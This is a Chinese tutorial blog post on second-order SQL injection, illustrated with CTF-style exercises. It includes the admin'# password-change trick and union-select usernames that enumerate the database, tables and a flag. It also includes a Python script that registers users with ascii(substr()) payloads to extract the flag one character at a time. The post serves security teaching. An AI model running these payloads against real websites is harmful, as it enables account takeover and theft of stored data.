持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第27天,点击查看活动详情
引文
之前给大家带来了SQL注入的报错与盲注,今天带给大家一个新的知识点——二次注入,二次注入是指对已存的数据库内容被读取后再次进入查询语句之后产生的恶意SQL语句称之为二次注入,可能网站对我们输入的内容进行了转义,但是可以在没有转义的地方进行使用。可能现在看可能有一些看不懂,看完本文我相信大家肯定对二次注入有个比较深刻的了解。
基本知识
因为二次注入没有用到什么特殊的函数来进行注入,我们就它的注入特点来给大家讲一下。
注入过程可分为:插入恶意数据、利用恶意数据.
原理
当攻击者数据库插入数据的时候,会使用
- addslashes
- get_magic_quotes_gpc
对其中的特殊字符进行转义,在写入数据库时还是保留了原来的数据,但是数据本身还是包含恶意内容。当我们在查询时就会触发恶意语句,可以参考下图:
流程
我给大家举一个简单的二次注入的例子,假设我们后端修改密码的SQL语句为:
update users set password='$new_pass' where username='$user' and password='$old_pass';
该语句是以单引号闭合的,我们在前端传入语句admin'#,查询语句就会变成:
update users set password='$new_pass' where username='admin'# and password='$old_pass';
本来修改的是admin'# 用户的信息,现在却是变成了直接修改admin用户的密码,这就是二次注入达到的效果。一般二次注入经常是配合源码审计进行的,否则很难通过黑盒测试测试出来。
例题
有的朋友可能还是不太理解,那我就借几个题目边做边给大家讲解一下:
例题一
假设一个网站的注册源码部分如下:
$username=mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
可以看到但凡用户传入的参数,均被mysql_escape_string
进行了转义处理,我们在网站注册用户:
test 123456
test'# 123456
假设我们现在要修改test'#的密码,
修改为:
test'# password:123
我们尝试登录,发现密码并没有被修改,简单分析一个SQL语句:
正常修改密码语句如下
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
在用户名为 "test'#" 时执行的实际是:
$sql = "UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' ";
可以发现其实修改的用户变成了test,这就达到了二次注入的效果。
例题二
我们进入登录界面,在登录注册等页面均未发现SQL注入点,在info界面发现:
该地方将我们传入的单引号给转义了,可能存在注入点,于是我们进行测试。我们要注册恶意用户名,然后在该页面尝试注入。
先注册用户名:
1' union select database() #
登录进去后跳转到了info界面:
成功注入出了数据库名字,发现可行之后我们就依次创建恶意用户名来一步一步的注入:
1' union select database() #
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
1' union select flag from flag #
成功注入出flag。
例题三
一个登录界面,扫描目录后发现注册页面。
发现我们的注册名显示在头像下面,感觉可能存在二次注入,猜测SQL语句为:
select username from table where username = '传递的参数'
我们可以尝试用以下方法进行注入:
0'+ascii(substr((select * from flag) from 1 for 1))+'0
原因是因为我们FUZZ时发现information被过滤了不能进行正常的SQL注入,所以盲猜flag在flag表中,于是我们构造脚本:
import requests
import time
from bs4 import BeautifulSoup
def get_flag():
flag = ''
url = ''
register_url = url + 'register.php'
login_url = url + 'login.php'
for i in range(1, 100):
time.sleep(0.5)
register_data = {"email": "{}@1.com".format(i),
"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
login_data = {"email": "{}@1.com".format(i), "password": "1"}
requests.post(register_url, data=register_data)
response_login = requests.post(login_url, data=login_data)
bs = BeautifulSoup(response_login.text, 'html.parser')
username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性
number = username.text
flag += chr(int(number))
print("\r", end="")
print(flag,end="")
if __name__ == '__main__':
get_flag()
结语
今天详细介绍了二次注入,不知道大家学会了吗,整体来说二次注入的条件还是挺严格的,通常搭配代码审计来做,有兴趣的小伙伴可以搭建靶机自己尝试一下,喜欢本文的小伙伴不妨一键三连支持一下。